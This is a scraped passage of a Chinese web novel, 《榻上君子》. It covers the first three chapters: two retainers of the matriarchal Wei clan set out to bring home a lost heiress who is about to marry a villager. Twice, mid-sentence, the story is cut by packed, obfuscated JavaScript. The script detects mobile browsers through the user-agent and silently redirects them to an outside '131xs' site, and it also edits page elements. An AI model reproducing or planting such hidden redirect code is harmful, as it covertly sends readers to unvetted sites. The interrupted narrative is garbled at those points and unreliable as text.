《榻上君子》 1. 去接少君 七月暑气正盛,整座上华城都笼罩在炎炎烈日之下,商街上的小贩被热得叫卖声都弱了不少。 于是待到如惊雷般的马蹄声忽而出现便显得格外响亮,行人被惊得大叫赶忙靠旁让道,却见匹鬃毛如雪却通体棕褐色的快马片刻不停地横穿街市,马上之人挥绳纵马之快,快到转瞬不见踪影只余一阵疾风刮过。 靠得近的那伙商贩们皆大惊失色,只顾着急忙伸手去护好自己摊上的物品,生怕有哪个被这一阵狂风吹走,嘴里的脏话还未骂出口等看清那人赶去的方向又默默噤声。 众人面面厮觑,最终还是默契地当做无事发生,继续吆喝着揽客。 快马奔向的方向坐落着城东最大的宅府——卫府。此刻明明正是暑热季节,这座深宅大院里却如同凛冬般沉寂。 不仅大门紧闭,也无人敢在门前宅落中走动,卫府上上下下更是齐齐噤若寒蝉,犹如死寂。 烈马高昂的嘶鸣声用极为刺耳的方式打破了平静,卫家大门即刻应声打开,从里面迎出来一位管家模样的老妪。 老妪虽已白发高龄做事却不含糊,神态也尚矍铄。只微微回头,身后小厮便得令走上前去伺候着。 青年利落地翻身下马把缰绳交由小厮牵马到后院马厩,迈步上台阶时还顺带拍干净了身上竹青色锦袍沾染的灰尘。 “复临君。” 老妪垂眉微微福身行礼,面无表情地侧身将青年请进了门:“老太太在等您。” 公冶慎点头回礼,快步走了进去。 老妪斜眼看向门口,一众家丁护卫猛地站直绷紧脸上表情,快速将卫家大门又关上了。 公冶慎心里着急得脚下生风,额头上都隐隐冒出一层薄汗。 从前院绕过水清山秀花鸟鱼游的中庭,弯弯绕绕的长廊让他本就焦躁的心又提了一口气。 终于隐隐看见了老太君所住的主院,公冶慎还没来得及高兴,那点喜悦又被眼前的景象冲了下去,脸上瞬间没了表情。 各方各院的人早都已经守在了老太太房门外寸步不离,打眼一看这里只有他来得最迟,那面色平静的模样也看着最格格不入。好几人在旁边轻蔑厌恶地扫了他一眼后移开了目光,似乎在嗤笑他的到来。 公冶慎在卫家摸爬滚打这么多年最知道这群人表里不一心中各怀鬼胎,若是以前他有兴致时倒可以陪她们再演几场忍辱负重的戏,但今时不同往日,最想置他于死地的人已经被他彻底清算。况且现在是老太在君病危之时特召他回家,他自然不必再顾及这些旁支外家人的眼色。 他视线一一扫过跪守在门外的众人,主家三房的小姐蜷缩在最角落,自打看见他回来的那一刻便吓得浑身哆嗦,头低得快垂到地上,都不敢抬起来。而近来暂代家主管理卫家的二房子君卫婠带着自己的一双儿女跪在最前面,见他来了也只是微微点头,看不出其他情绪。 公冶慎背后直冒冷汗,整个卫氏内家中他最摸不清路数的就是这位二子君,她性格偏冷又沉默寡言,总一副不理世事的模样,但做事风格又像极了卫老太太年轻时,雷厉风行,一旦出手绝不失手。 好在她对自己的态度一向是无视,也谈不上针对,不然她一定是最难解决的。 侍婆终于推开了那扇久未打开的房门,还未等堂下众人开口,却见那老媪浑浊的双眼紧盯着面前青年,她并未说话只是微微侧身公冶慎便心领神会,抬脚路过众人直接走进房中。 刚进门便是扑面而来的浓重草药味道,隔着屏风听见宫里派来的太医正在细声交谈药方如今再改,边上不断煮开的药炉发出略粘稠的“咕噜咕噜”声音。 “老太太怎么样?” “太医说只能暂时控制住体内的毒,但能撑到什么时候就……” 公冶慎垂眸:“我知道了。” 他一步步靠近最中心的床榻,满头白发垂垂老矣的老妇人躺在榻上被垫高的枕上,双眼迷离间不知是梦是醒。 “……是慎之来了吗?” 老太太虚弱地睁开眼,极力想要看清眼前的青年。众人闻声都极为惊喜,尤其是公冶慎,立马扑通一下跪在榻边笑中带泪地握住老太君伸出的手:“外祖母,是我。我是慎之,慎之在这儿呢。” 老太君终于看清侄外孙的面容,轻拍了拍青年的手背:“慎之………处理得如何了?” 公冶慎斟酌片刻,怕说得太直白会让本就心衰力竭的老太太更加伤神:“您放心,商铺都清点过,账也处理完了。” 不料老太太虽身体虚弱,心性不减当年:“不必如此。那个孽障死了对吧?他能做出这般蠢事,我就当从来没有过这个儿子。” 老太君说罢,阖眼叹气。 公冶慎也不敢再隐瞒,一五一十地告知老太太他是依照家法将丧尽天良朝自己母亲下毒还意欲夺权的三房子君处死了,尸骨无存。三夫人被关在蘅竹苑不得外出,应该是要老死其中。但仅剩的三房小姐不知作何处理。 “阿婳虽愚笨天真,也是因为她那不作为的爹娘才被养成如今娇蛮无礼模样。此事过后将三房剩余的产业先交给她一部分,看看她能不能撑起来。其余的,再另说吧。” 老太太说罢长长地叹一口气,似是无奈。自她十八岁接管卫家以来半生杀伐果决管理手腕强硬,既忍受无数骂名也得过不少美赞。她一手将卫氏推入西京四大家族之列,而今天下谁人不知卫家女的盛名。 她自诩平生树敌的确不少,受过的暗害更数不胜数。但独独没想到最严重的一回居然是栽在自己人手上。 她那个成事不足,败事有余的儿子……实在令她失望。 任谁都看得出这件事情彻底寒了老太太的心,亲手抚养大的孩子居然如此狼心狗肺,为了卫家家主位置就联合外家人对自己的母亲痛下杀手。 “我从未对他有过期待、不曾严格要求,他从小到大还有什么亏待过他的吗独独没料到他能这般狠毒。” 老太太轻轻摇头,公冶慎心道正是老太君对三子君毫无期待也从未想过培养他做家主,所以他这个自大的蠢货才会忌恨在心。 卫家向来尊女者为上,历代家主都由长女继承,长女早亡且无后才可从其他女儿中选出新的继承人。三子君上有两位姐姐下有一个小妹,就算长姐已经去世多年,这家主之位也是怎么都轮不到他的。 但卫家从未亏待过任何一个孩子,他三房拿到的也不少。三子君自幼过着金尊玉贵的日子,舒舒服服长到三十多岁也还是仰仗母亲二姐帮衬才能打理好自己的那份产业。 他如今落得这个下场,不过是贪心不足蛇吞象,听信外人谗言觉得自己是男丁就该压女子一等。却忘了他既生在卫家,就绝无踩到女人头上继承家业的可能。 但转念再想,能让三子君生出这种虚无缥缈的幻想不单单是靠外人吹的耳边风,也是因为上任女君亡故至今已十八年之久,老太君还一直没有立下新的继承人,这才让他觉得自己也有可乘之机。 公冶慎在卫府待了十多年,卫家中年一代仅剩的三位子君他都接触过,也说得上了是解。最年长的二子君沉稳聪慧,四子君年纪最小比他大了一岁虽然人稍跋扈但行事机灵大胆,她二人无论谁做女君都算良选。 所以他也不甚明白老太太为何这么多年一直不肯定下来新的家主,并且也没有很明显地培养过二人中的任何一个。 公冶慎从摇摇欲坠日薄西山的丞相府投靠到卫家的时候,前任女君已经病逝六年了。老太太给自己的长女送完葬后就又担起了家主之任,直到现在。 “慎之啊……之前是我错信老三,狠心把你送去了西庄。”卫老太君拍了拍他的手背,“你不会怪罪老太太我吧?” “怎么会呢?您当时也是被奸人所骗。况且若不是卫衡想要故意打压我,我也不会在他的地界里碰巧发现他图谋不轨的证据。”公冶慎极为恭卑乖巧地垂眸,“这也算是对孙儿的历练,孙儿要感谢您的多年栽培才是。” 老太太布满皱纹沟壑的脸上扬起几分慈爱笑意:“慎之,你的确又聪明了不少。” 听见这声夸奖,公冶慎毫无欢喜反倒如坠冰窟般紧张起来。他是外姓之人,多年来都是靠讨老太太欢心才一步步在卫家站稳脚跟。原本他就被卫家人忌惮,都怀疑他有异心,如今卫老太君时日无多,这时候夸他聪明只有两种可能。 一种是纯粹认可他的能力,准备给他指条好退路。另一种……既是认可又是担心他的才能会对卫家后面的掌权人产生威胁,准备除了他以绝后患。 “侄孙愚笨,还期盼外祖母能多加教导。”公冶慎真心实意地跪近了几步,“我在外时曾听闻江湖有一柳姓神医,我会派人竭力去找,定把神医请回来为您解毒。” 老太太看着他关切的模样,忍不住笑了几声:“慎之,你如此聪慧是个当官的好材料。若不是你父亲无能,你不该止步于此。当然,从商也不错。” “外祖母不必再提起那人。”公冶慎敛起眉眼中的郁气,他极其厌恶自己血缘上的生父,哪怕只是听到都觉得一阵反胃。 “可你终究也是公冶家的血脉。”卫老太君瘦骨嶙峋的手掌抚过青年的发顶,“公冶家只剩你一个人了。” “既如此,这名头我要了又有什么用呢?”公冶慎心中琢磨着老太太的用意,起身后撤一步再度跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少君? “太好了……婧儿的孩子…总算是找回来了。” 老太太眼眶顿时盈满热泪,一闭眼四行清泪便抑制不住地淌了下来。 婧儿? 公冶慎思索片刻,应该就是上任女君、老太君的长女——卫婧。十八年前她由夫郎陪着到汝州养胎散心,未曾想孩子出生时恰逢江汝两地瘟疫爆发,二人竟意外染病双双横死。 可那襁褓之中的孩子当初不是说也死在那场瘟疫中了吗? 且慢,当初负责去南境接回女君尸首的……正是三子君卫衡!难不成是他动了手脚? “卫衡的部下已经交代了当初女君的孩子没有染病,当初下葬的是随便找来的死婴,真正诞下的女婴被卫衡交给一个叫吕仲的手下解决掉了。吕仲于心不忍将孩子偷偷放到了自家抚养。而后吕仲很快就被卫衡灭口了,所以其他人都不知道吕仲偷偷保下了这个孩子,我们也是顺藤摸瓜查出来的。派去查的人还不敢太大张旗鼓,请老太君指示。” 屈嫱躬身汇报完后缓缓起身,公冶慎从她脸上看出了几分得意气,老太君也甚为满意地点头:“好!做得好哇。阿嫱,慎之,你们都是我看中的人,少君回家之后你们须得事事上心尽力,少君就是卫家未来的女君,你们明白了吗?” “是!” 公冶慎闻言释然不少,心情都轻松了。果然老太君还是看重他的,同为辅佐未来家主的心腹,地位也不输屈嫱。 “阿嫱,那就由你去把少君接回来吧。” 屈嫱还没跪下接令,公冶慎抢先一步应声:“外祖母,还是我去接少君吧,让屈嫱留在您身边照看也方便些。” 看卫老太君默然仍在思索,公冶慎紧跟着又说:“去汝州路途遥远需得快马加鞭数日,我去正好,况且院中事务屈嫱比我处理得更得心应手。” 屈嫱不甘示弱:“赶路我亦不慢,况且同为女子,我前去交涉少君应当更放松些。” “论交际还是我擅长些吧。再说我作为少君的表哥也更该前去关心。” …… 二人你一言我一语,谁都不愿让步。 “罢了,我身边又不是只有你们两个可以差使。”老太君无奈地点头,“慎之、阿嫱,你俩就一同去吧。走之前先把外面老二老四她们叫进来。” “是。” 二人领了命令,面上客气地互相点头,一转身过了屏风眼神都透着寒霜。 刚推开房门便看见一张被抓花的脸摔在地上,嘴里还呜咽着哭声。 公冶慎皱眉:“三娘子?” 2. 各怀鬼胎 狼狈滚地的卫婳也顾不得面前是她从前最看不上的便宜表哥,连忙捂着血迹斑斑的脸起身拉住他的袖子:“表哥!表哥…求你救救我吧!” 公冶慎自己也是看得一头雾水,在府里他地位近乎没有,谁都不喜欢他,恨不得避而远之。不过卫婳不是个傻的,大概刚刚看见他能单独进去老太君房间知道他肯定被委以重任了今时不同往日,可以依附一番来救急。 虽然公冶慎真心不是很想插手她的事情,不过想起老太君的嘱托,便循着卫婳胆怯的目光看向刚刚出手打她的人,微微躬身行礼:“四子君。” 对面年轻女子满脸愤怒,偏头不屑地睨他一眼,说话时还夹着几分阴阳怪气:“怎么,我好心管教管教我这蠢笨的侄女,复临君也要来多管闲事?” 卫婳连连向公冶慎摇头,极力证明自己什么也没干。 公冶慎不用想都知道眼下这个关头就算给卫婳一百个胆子她也不敢再主动惹事,大概是四子君把对她父亲三子君的怒意都转嫁到她身上了。 “管教也得看场合、用对方法,三娘子依旧是卫家的女娘,她有错自然各位都要帮忙指正,但和她无关的事情也用不着一味迁怒。” 四子君看他那正义底气十足的神态只得扭头气得一言不发,看来母亲真的善心大发没追究到卫婳身上。 可她那父母亲如此恶毒,难保这个女儿不会学去! “人的品性是靠后天养成的,无论父母有无德行孩子都不一定能继承,有的父母有德温良也照样能养出跋扈张扬的孩子。四子君应该最清楚不过。” 公冶慎噎得她说不出话,他现在怎么敢对她如此无礼!居然还当众下她的面子……仗着母亲给他撑腰就认不清自己的地位! 屈嫱不想看四子君继续乱发脾气,冷面看向一直沉默不语的二子君:“二位子君,老太君屋内有请。” “嗯。” 公冶慎目光落到二子君卫婠身上,见她旁若无人地仿佛丝毫不被方才的闹剧影响一般走进房门,他不禁又多了几分敬而远之的忌惮。 二子君代为管家,方才却对小妹掌箍侄女视而不见,更没有半分调解的意思,看来对卫婳也是有气在心。 他意味深长地看向身旁依然惴惴不安的卫婳,只希望她真能撑起自己的责任,不然等着她的压力只多不少。 “老太君让三娘子去接手平城的生意,整理好这两日就出发吧。” 卫婳先是一愣,面色慌乱片刻后反应过来这是祖母在帮她,急忙破涕为笑。 “多谢表哥!多谢祖母!” 少女朝房门行了大跪拜礼后便起身回了自己刚刚跪坐的位置,由自己的丫鬟帮忙处理脸上被指甲划伤的伤口。 “我们走吧。” 屈嫱冷冷道:“时间不等人。” 公冶慎也不是分不清轻重缓急的人,早已经吩咐人去准备出行的马车了。 半个时辰后他同屈嫱便坐上了马车,带着一整支车队往汝州进发。 为了更多地了解那位少君大人的情况,以便后续打好关系,公冶慎专门派身边的侍卫常敷做先遣兵:“你先赶到吕家村附近摸摸底。” “遵命。” 光派自己的人去打听还不够,想得到一手资料还得靠远在天边近在眼前的这位知情人。于是他毫无尴尬神色并且大摇大摆地登上了屈嫱的马车,准确从她这里换些信息。 屈嫱才刚下马车吃了条烤鱼,再上马车时便只见某位容貌说得上昳丽俊美的清冷美男子轻摇手中折扇,整个人轻跹地倚在窗边,不知道的还真以为是某位翩翩公子在赏景。 “无事不登三宝殿,复临君又是在打什么算盘?直接说吧。” 屈嫱快步登上车,跨着腿大马金刀地在他面前坐下,将不爽都写在了整张脸上。 本来老太太只打算派她一个人来的,公冶慎上赶着要抢这份“苦活”,藏的什么心思简直昭然若揭。 “我们都是老太君指派来辅佐未来女君的人,因何要成这么剑拔弩张模样?不如我们开诚布公地一同合作,不好吗?” 公冶慎那双狐狸眼配他清冷的面容莫名有些诡异的韵味,这人若不笑不谄媚看着就是个冷若冰霜的美男子,可一旦眼波流转便成了专门算计人于无形的狐狸。 他眨眨眼睛,似乎很有诚意:“我想老太君安排我们一起应该是为了我们通力协作去做少君的左膀右臂吧,肯定不是为了让我们互相猜忌。” “我倒是想和复临君合作,可惜复临君也不是多坦诚。”屈嫱故作可惜的模样让公冶慎捏紧折扇的手用力得有些泛白。 “非要说那么明白吗?你我的用意都是一样的,都想抢占先机和少君搞好关系。与人相处本就是各凭本事,届时少君自己心中自有定夺。” 公冶慎无法,有时偶尔的直白莽撞倒是好事,至少能拉近二人之间的距离。 屈嫱被他说破心思也没什么愤懑情绪,反倒露出了笑容:“你想知道什么?” “既然我们是盟友,那肯定是互通有无最好。”公冶慎扑了两下扇子遮住下半张脸的笑容,依旧用那双狐狸眼眸冲她眯眯眼,“劳烦屈君您都说说吧。” 屈嫱嘴角抽搐一番,看在他态度尚可的份上慢慢开口: “少君由吕家村吕仲的遗孀赵氏抚养长大,今年十八岁,现在的名字叫吕央。赵氏膝下有一双儿女,对外说少君是吕仲兄弟的孩子。吕家的男孩和少君同岁,在淄阳县书院里面读书。小女儿生父不是吕仲,今年十二岁,和少君关系最好。” “屈君真是厉害,人家家里几口人什么情况都打听得这么仔细。” 屈嫱瞥他一眼:“少君在当地很出名的。” 公冶慎来了兴致:“哦?有多出名?” — 毒辣辣的阳光炙烤着整片农田,即便是大暑天气农户也依旧不敢休息,争分夺秒地种下今年第二季的晚稻。 吕家村东边的赵寡妇更是焦急,她家没有别的壮年劳动力,只能靠她一人担起整个大家,将近晌午都还在田里热火朝天地插秧。 一高一矮两位少女光着脚走过田埂,个子矮小的小女孩看着年纪不大,张嘴甜甜地喊着:“娘!吃饭啦!” 后面较高的女娘提着餐盒到了田东离赵寡妇最近的树荫底下,她今天做了几个清热解暑的菜:“婶娘,先歇息吃完饭再说吧。中午太阳太毒了。” 赵寡妇用衣袖抹了抹满额满脸的汗:“时间不等人呢,我先把这一片插完再说。” 两姐妹面面相觑,个高的姐姐先撸起袖子和裤脚:“婶娘我来帮你吧,人多干得也快。” “诶呀阿央,这会儿日头辣,你晒不得的哇,快上去呀!而且你这明天就要出嫁了怎么能下地干活,万一晒黑了新娘子不漂亮了怎么办?” 吕央羞涩一笑,偏过头时发髻上系上的红色发带格外显眼,那是女娃子即将出嫁的象征。 “没事,婶娘你忘啦?我晒不黑的。” 赵寡妇一想的确是,从小到大阿央下田就没见黑过,反倒是小女儿都黑成野猴子了。 “况且我真晒黑了也轮不到王二牛嫌我呢,我嫌他还差不多。” 吕央大喇喇地说着,赵寡妇连忙止住她的话:“哪有这样说的,二牛不错了。” 吕央无奈地哼哼两声,要不是王二牛是附近十里八村唯一一个长得还算不错的男人,她才不肯答应呢。 原本出了那几档子事情她都不想嫁人的,可婶娘天天哭来哭去的说如果不给她找个好人家就对不起她死去的叔叔。吕央被哭烦了就答应了。 虽然十几年前老道士说过她命格有问题,可还是有不少男的冲她那张貌美如仙的脸上门提亲。 王二牛就是其中那么一个最积极的。 “嘿!吕央!” 路过的几个村头混混嬉笑着朝她们那块田叫,为首的叫了几声不好意思又被后面的少年推搡着继续:“吕央!” 被叫了许久都充耳不闻的少女终于受不了,飞速把手里的秧苗都扔进田里,抬起头怒视那几个少年。 她皮肤略白,配上流畅脸型真是张漂亮标准的鹅蛋脸,五官眉眼生得大气精致,容貌端丽俊俏,不可多得的美人。 吕央脸颊沾了些泥巴,丝毫不影响她那冷傲的气质,尤其那双瑞凤眼一扫,几个少年都有些怵她。她皱眉:“有事吗?” “没……没事。”几个刺头哪敢真招惹这姐姐,不过是壮着胆想逗两声,听说先前村长小儿子撩拨她,直接被抓花脸踹出去了。 村长老婆找上门来要说法,她婶娘赵寡妇直接扯起嗓子就骂咧开了,搞得十里八乡都知道村长儿子调戏小姑娘,名声都臭了。 “没事儿嚷嚷什么!没看到人手里有活计吗?两只眼睛长哪儿去了,一天天不干正事净在村里窜!”赵寡妇边插秧边骂,嘴里叽叽喳喳跟连珠炮弹一般停不下来,“我认得你们几个,村西头的那几户的,你们爹娘怎么教的?大字不识四体不勤就敢出来撩拨人家良家姑娘,知不知道人家是要嫁人的?癞蛤蟆还腆着脸看天鹅,想得美!” 一开始那个刺头心里那点贪色的觊觎被赵寡妇骂得淋漓尽致,脸上挂不住,恼羞成怒道:“你以为爷真看上你那个侄女了?一个克夫的女人谁敢娶啊,我看明天这亲你们也结不成!” “嘿哟你这个贱嘴皮子,你看老娘不打死你!咒谁呢!” 眼看赵寡妇是真的要冲上来撕烂他们的嘴,几个刺头实在是害怕了连忙转身就跑。 赵寡妇站着原地啐了一口:“什么东西!” 她恶狠狠地把手里剩下秧苗插进泥里,嘴里还在念叨。吕央知道自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208039|181331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婶娘的脾气,骂起来就没个停了。 “好了娘,不要计较这些混球了。”一直在旁边瞪眼的小姑娘气鼓鼓说道,“他们嘴那么恶毒指不定哪天就遭报应了。你别管这些了,先去吃饭吧。” 小妹吕向遥标准的瓜子脸大眼睛,因年纪小长相极其甜美可爱,可说起来话来却和她娘一样直率冒着火气。 “知道了知道了。” 赵寡妇洗干净手朝树底走去,吕央看向自己的堂妹,后者俏皮地吐了吐舌头。 “阿央啊,他们说的那些话你千万别放在心上。” 赵寡妇怕吕央真的又想起伤心事,边吃饭边开解她。 吕央的确想起了让自己名震吕家村乃至青云镇的那些事情,但也算不上太伤心。 她对自己8岁前的事情没什么记忆,但后来听婶娘说起过在她5岁的时候曾经给她订过一门娃娃亲,可就是定亲那年冬天,那个男娃娃在湖边失足落水,尽管施救及时可第二天还是发了高烧,吃什么药都不管用。 就当孩子快没救的时候,恰好有位路过的老道士用一颗小药丸救活了那男娃娃。知道来龙去脉之后,他给小吕央算了一卦。 得出的结论竟是此女命格特殊,非凡夫俗子所能配,不然无论是谁来都是今日下场。 可村里识字明理的人本就不多,男娃娃那家又怀恨在心——毕竟听这意思就是说他家孩子是凡夫俗子配不上吕央这个没爹没娘的野丫头? 他们怎么能忍,便四处宣扬这老道士的话,只是说的时候故意删去了中间的一句。 这么一传出去,就变成了她吕央是天煞孤星,专门克夫。 赵寡妇和他们吵过几架,可就因为那小男娃娃确确实实险些丧命,他们就将这事儿全部摁在了吕央的头上,整得她们一家也是有口难辩。 待到吕央14岁,赵寡妇又正儿八经地为她寻了一门亲,那家人是青云镇上的好人家,说好了不会信这些歪门邪道。 可就是好巧不巧,定完亲不久下了场暴雨竟意外引发了山洪,在采药的众人中居然唯独卷走了和吕央定亲的人。 和他一起采药的同伴连忙去镇上呼救,众人找了三天两夜才在谷地河岸找到了奄奄一息的少年。 这事生得毫无征兆,又十分蹊跷,还莫名其妙的和当年老道士说的话应验。 这下那家人不信也得信,只得上门赔礼后取消了婚约。 至此不单单是吕家村,连青云镇的人们也对她这个天生克夫命的天煞孤星有所耳闻。 吕央真正经历的是十四岁那次退婚,老实说伤心没有,倒是有些庆幸。她总觉得和一个男人成亲相守实在是难以想象的事情。 一直到了十八岁,王二牛的出现才让这一切改变。他们去年底定了亲,现在过去大半年了都没出事。 “之前哪些都是他们自己不小心、不走运,和咱们阿央有什么关系?”赵婶娘不满地努嘴,“那老道是明明说的好话,非给他们传成坏名声了。” 吕向遥跟着应和:“就是就是!” 阿姊这般国色天香的美貌本来就不是乡野村夫能染指的!要不是阿姊实在对深宫无意,说不定还能进宫当个妃子呢。 吕央自顾自愣神,那老道士说凡夫俗子非她良配,那究竟什么样的人才算得上人中龙凤? 王二牛算吗? 她几乎是立即下意识地摇头,不,王二牛也是个俗人。 还是个尤为粗鄙的俗人,大字都不识几个,说话也没什么礼貌可言。 可明天,她就真得嫁给这样一个俗人了。 婶娘插完秧提前回去收拾,两姐妹蹲在一旁的小水塘边洗干净手脚,忽然玩性大起坐在塘边伸着脚在水里互相打“水仗”。 脚底板被挠了痒痒,吕央忍不住轻笑,又更加伸脚过去。二人玩了好一会儿,又改为踢水玩,没多久堂妹忽然安静下来。 “阿姊,你真的要嫁人了吗?” 吕央本想逗趣说自己明天就要出嫁了,现在问这个又有什么意义呢?可刚想开口,话又梗在喉头。 她也不知该怎么回答。 其实,看遍青云镇的男人,王二牛已经算是其中最俊俏最独特的那个了。 可是自己喜欢他吗? 他真的可以和她相守一生吗? 吕央葱白的指尖从大红色绣满花纹锦云的婚服上划过,婶娘为这套嫁衣花了不少心思,用心到吕央如果说不想嫁都有些对不起她的程度。 少女抬眸望向窗外漆黑夜色中唯独悬挂的一轮明月,忍不住默默祈念。 如果月神能听到,请保佑她余生顺遂。 吕央睁开眼,面前景色依旧,一如过往的十八年。 她躺在床榻上,听着耳边吕向遥的低声梦吟紧闭双眼入睡,忐忑地期待着明天的到来。 3. 克夫贵女 这一夜吕央醒了又睡睡了又醒,几番辗转,总觉得心口跳突突的不舒服,慌得很。又怕休息得不好明天眼底的乌青用脂粉都盖不住,吕央只能紧闭上眼睛强哄自己入睡。 这回倒是能安心入睡了,可还没阖眼多久耳边忽然传来阵阵嘈杂的声音。推门而入的赵婶娘早早换上了用特地用从镇上卫家布庄买来的上好红布绸子缝制的衣裙,整个人容光焕发喜上眉梢,精气神都同过去全然不同。 吕央迷迷糊糊地被婶娘拉起来,转头一看窗外天还未亮。 “该起来准备了,我特地叫了张五娘来帮你梳妆打扮,快起床洗漱去!” 眼神呆滞的少女终于反应过来自己今日是出嫁的新娘子,急忙去床上爬起来。 赵婶娘看着少女匆忙的背影这心里又是开心又是不舍。从小看着长大的姑娘这就要嫁人了? 十八年前丈夫把阿央抱回来的时候,还是小小皱巴巴的一团,不爱哭就爱笑。那时候她才生下大儿子没几个月,看见这么可爱的女娃更是喜欢得不得了。 只不过丈夫也在送回阿央不久后横死,其实她也疑心过阿央的来历,毕竟她从没听吕仲说过他有什么兄弟…… “娘!我的衣服在哪里!?” 小女儿吕向遥忽然的大喊大叫打断了她的回忆,吕向遥作为花童兼小红娘也是有单独绣制的新衣裳的,赵婶娘怕她手粗弄坏一直没拿出来给她,试完衣服就由自己保管好了。 “来了来了!别扯着嗓子叫了,姑娘家家的这么不文静,像什么话。” 吕向遥接过衣服开心得直蹦蹦,俏皮地吐着舌头:“略略略干嘛要文静?我就喜欢这样,姑娘家就是要大大方方的!要是以后那些男人受不了我也肯定不要他们。” “嘁,就怕没男人要你。” 吕向遥嘀咕着低喃:“不要正好,我也不想要他们呢。” “你这丫头!今天是你阿央姐姐大喜的日子,别说这种话。” “知!道!了!”吕向遥一字一句地回她,但看着也没有半分真听进去的意思。小姑娘换上红粉衣裳兴高采烈地跑到外头去找阿姊了。 吕央方才刚洗完脸便被性格急躁张五娘连拉带拽地摁在临时搭的梳妆台前坐下:“央妹子你坐好,咱亲自给你化,肯定给你化得漂漂亮亮的出门!” 五娘招呼了村里好几个一样精通化妆手艺的年轻姑娘一起来做帮手,吕央听说她们都是自学成才的,在五娘的带领下各司其职,手艺倒是个顶个的好,各村各镇不少人家都喜欢找她们去给姑娘化妆。 吕央乖巧的听从五娘的一切指令,该睁眼就睁眼,该往上看就往上看,绝不乱动。 毛茸柔软的刷子扫过脸颊眼皮,舒服得甚至有些令人困倦。女人用指尖捻起红色口脂一一在少女樱唇上抹匀,那残余的温度似乎还留着唇峰上。烧火烫过的灰青色黛笔融出余色,由执笔人极为精巧细致地在在她眉上绘出一缕柔情。 张五娘捧着她的下巴细细打量,终于极为满意地点头:“不错不错,央妹子天生丽质,不施粉黛是清水出芙蓉的西施,化上妆那更是倾国倾城的美人!” “五娘你别夸了,我听得都害怕。” 吕央羞涩地低头,从铜镜中看见了自己现在的模样。她肤色白,大红色的嫁衣极为衬她,一头如瀑青丝被姑娘们细致地打理好挽成盘花髻子,带上赵婶娘准备好的金银首饰,真真是金银争辉珠玉照映都不输容色的美人。 “阿姊……”闯入的吕向遥目瞪口呆,“你太美了!” 小姑娘围着吕央看来看去,眼里的喜爱都快溢出来了。 要不是怕弄皱阿姊的嫁衣,吕向阳恨不得抱住阿姊不放手。 她越想越气:“阿姊这么漂亮,那王二牛他凭什么呀!” 吕央被她的话逗笑,还未回话一旁的婶娘先冲过来用手指猛戳吕向遥的脑袋:“你这丫头,又胡说!” 吕向遥还想争辩几句,但碍于母亲的威仪又还是灰溜溜地放弃了。 婶娘无奈地摇头,她自己生的女儿怎么就这么莽撞天真?既不像哥哥一样善于读书,也不及姐姐半分聪慧懂事。 想到这儿,赵婶娘眼眶盈泪,紧紧握住了吕央的手:“阿央,嫁过去以后就和二牛好好过日子吧。若有什么不顺心的事情,就回来找婶娘,婶娘一定替你撑腰。” 吕央心中泛起阵阵酸意,感动得眼眸中都泛起泪光。 她自小父母早亡,赵婶娘辛苦把她拉扯大,就像亲娘一样的对她好、护着她,也从不厚此薄彼。 所以待到依出嫁规矩要拜别父母亲时,吕央把哭得鼻涕一把泪一把的赵婶娘扶上主座八仙椅。 在她心里,婶娘就是她的亲娘。 接亲的队伍守在屋门外,新郎官王二牛骑着头驴笑得春风满面,四周赶来凑热闹的村民无不羡慕嬉笑地看向他,这吕央可是十里八乡出了名的美人!娶到这般美女,他怎么能不得意! 堂内吕央行了三个叩拜大礼,由一旁等候许久的青年扶了起来。 “晋安哥……” 吕晋安是特地从县里私塾请假回来送妹妹出嫁的,今天早上刚刚赶到家还来不及卸下风尘接亲的人就到门口了。 “来,哥背你。” 一同长大的妹妹眼看就要嫁入别家,虽无血缘关系可他们之间的兄妹情谊却比真金还真,吕晋安作为长兄不应失仪,只得强忍着伤心泪背起吕央。 靠在哥哥的背上,吕央恍惚想起少时,吕晋安也这么背着她回家。 走过田埂,踩着小溪,一齐看天边灿烂的云霞。 接亲队伍锣鼓喧天,唢呐响得二里开外都听得清清楚楚,村外乡间土道上一黑一红棕两匹马呼啸而过扬起浮尘。 那乐声公冶慎听得一清二楚,心下更加焦急:“今日不会就是少君出嫁之日吧?” 屈嫱虽面无表情,手上却用力挥了缰绳加快速度:“难说。” 他俩在马车上一合计公冶慎就觉得要出大问题,赶忙舍下大部队在后头,和屈嫱先行骑马赶过来。 若真是少君成亲了……嘶,也不是难事,少君喜欢就一并带回上华城。卫家女娘本就可以享多夫侍奉,虽然是乡野村夫做个侍夫也成。 在众人的欢呼中新娘子由哥哥背出了大门,吕央伏在吕晋安身上,明明四周喧嚣杂闹她心里却忽然十分平静。 甚至有种满不在乎的感觉。 婶娘说出嫁是这样的,脑子空白,都分不清是自己走过去的还是别人推过去的,就好像新娘子不是自己一样。 花轿停在了吕家大门外,新郎官骑着驴神气十足,脸涂得比胸前的红花还鲜艳,未待他拱手谢过捧场的父老乡亲,只听身下毛驴一声惊叫,竟不受控制地四处乱撞起来。 “啊啊啊!” 王二牛一个大男人被吓得惊慌失措,谁也没想到往日温顺的驴会忽然发起狂来,没等王家亲戚上来摁住毛驴,那畜生便载着脸色苍白的王二牛冲进了吕家门口的池塘。 “哎呦!新郎官掉水里了!快救人呐!” 媒婆急忙挥着手绢指挥旁边那几个大小伙子跳下去救人,岸上的王家人急得团团转。 这水塘古怪得很,前去救人的使劲游也没能往前蛄蛹多远,反倒是落水的王二牛被那失控的狂驴猛踢几脚后在水里挣扎得越来越远。 眼看人就要沉下去,好在其中最识水性的青年终于把王二牛捞了起来,竭力朝岸边游去。 